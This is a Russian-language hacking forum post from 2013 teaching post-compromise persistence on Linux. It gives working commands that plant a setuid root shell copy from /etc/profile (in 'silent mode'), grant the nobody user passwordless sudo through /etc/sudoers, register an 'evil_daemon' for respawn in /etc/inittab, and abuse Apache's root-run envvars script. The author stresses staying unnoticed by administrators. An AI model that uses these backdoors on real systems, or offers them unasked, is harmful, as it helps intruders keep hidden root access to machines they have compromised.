Показать сообщение отдельно
Старый 14.01.2013, 14:51   #20
b3
 
Аватар для b3
 
Регистрация: 18.08.2010
Сообщений: 352
Репутация: 105
По умолчанию

Способ закрепления в системе через /etc/profile

Выдержка из bash(1)
Цитата:
When bash is invoked as an interactive login shell, or as a non-interactive shell with the --login option, it first reads
and executes commands from the file /etc/profile, if that file exists. After reading that file, it looks for
~/.bash_profile, ~/.bash_login, and ~/.profile, in that order, and reads and executes commands from the first one that
exists and is readable. The --noprofile option may be used when the shell is started to inhibit this behavior.
Смысл в том что /etc/profile грузиться первее чем .profile из хома, и думаю менее паливнее писаться в него.
Цитата:
# cat /etc/profile
Код:
...
if [ "`id -u`" -eq 0 ]; then
  PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
else
...
Проверка на uid = 0. У рута свой $PATH, вот сюда и забэкдоримся.
Пример:
Код:
...
if [ "`id -u`" -eq 0 ]; then
PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
cp /bin/sh /var/tmp/sh 2>/dev/null && chmod 4755 /var/tmp/sh 2>/dev/null # silent mode
else
...
Способ закрепления в системе через /etc/sudoers
Данный метод конечно более паливный чем предыдущий, но может пригодиться.
Если к примеру имеем шелл от nobody (или www, apache не важно) добавим пользователя в /etc/sudoers
Цитата:
[root@home /]# echo 'nobody ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers
[root@home /]# usermod -s /bin/bash nobody
[root@home /]# su - nobody
[nobody@home /]$ id
uid=99(nobody) gid=99(nobody) groups=99(nobody)
[nobody@home /]$ sudo id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(di sk),10(wheel),19(log)
[nobody@home /]$
PS usermod -s /bin/bash nobody делать не стоит, это я на локалке для теста дал шелл, на вэб-шеле такие махинации не нужны.

И "сложный" метод закрепления в системе это через /etc/inittab
Метод очень специфичный т.к. тут речь будет идти о удерживании вашего демона в процессах.
Код:
0d:12345:respawn:/usr/bin/evil_daemon
Таким образом при завершении процесса init будет Респавнить (перезапускать) его. Подробности в INITTAB(5)
ВАЖНО: изменения вступят в силу после ребута, но можно воспользоваться килом чтобы init перечитал конфиг:
Код:
kill -HUP 1
Способ хорош тем что такие файлы особо не перепроверяются админами.

Способ закрепления в системе через /etc/apache2/envvars
Скрипт содержит переменные окружения для Apache, запускается от рута при старте/рестарте вэб-сервера. Сам старт/рестарт происходит чаще чем казалось бы, потому как есть logrotate о котором я писал выше в теме.
Синтаксис bash все предельно примитивно.
b3 вне форума   Ответить с цитированием